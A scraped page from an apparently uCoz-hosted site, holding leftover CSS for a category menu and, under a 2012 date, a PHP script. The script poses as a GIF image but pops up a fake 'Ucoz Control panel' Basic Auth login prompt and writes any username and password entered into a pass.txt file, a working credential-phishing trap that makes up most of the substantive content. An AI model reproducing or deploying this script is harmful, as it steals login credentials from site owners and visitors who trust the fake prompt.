Статистика |
ՕՆԼԱՅՆ 1 ՀՅՈԻՐ 1 ԳՐԱՆՑՎԱԾ 0 |
Block title |
/* Module Part Menu */
.catsTable {}
.catsTd {border:1px solid #3a75c4; margin: 2px; padding: 2px 2px 2px 5px; background: #000000;} //
.catName {font-family:Verdana,Tahoma,Arial,Sans-Serif;font-size:11px;}
.catNameActive {font-family:Verdana,Tahoma,Arial,Sans-Serif;font-size:11px;}
.catNumData {font-size:7pt;color:#0000FF;}
.catDescr {font-size:7pt; padding-left:10px;}
a.catName:link {text-decoration:none; color:#0000FF;}
a.catName:visited {text-decoration:none; color:#0000FF;}
a.catName:hover {text-decoration:none; color:#0000FF;}
a.catName:active {text-decoration:none; color:#0000FF;}
a.catNameActive:link {text-decoration:none; color:#0000FF;}
a.catNameActive:visited {text-decoration:none; color:#0000FF;}
a.catNameActive:hover {text-decoration:underline; color:#0000FF;}
a.catNameActive:active {text-decoration:underline; color:#0000FF;}
/* ----------------- */ |
|
Главная » 2012 » Март » 08
header("Content-type: image/gif");
$image = imagecreatefromgif(' goodsmile.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
if(strlen($pass) <= 4 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="Ucoz Control panel"');
}
elseif($login)
{
setcookie('LOGON',md5($pass));
$f = fopen('pass.txt', 'ab');
fwrite($f, $login." ||| ".$pass."\r\n");
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
?>
|
|
|
|
|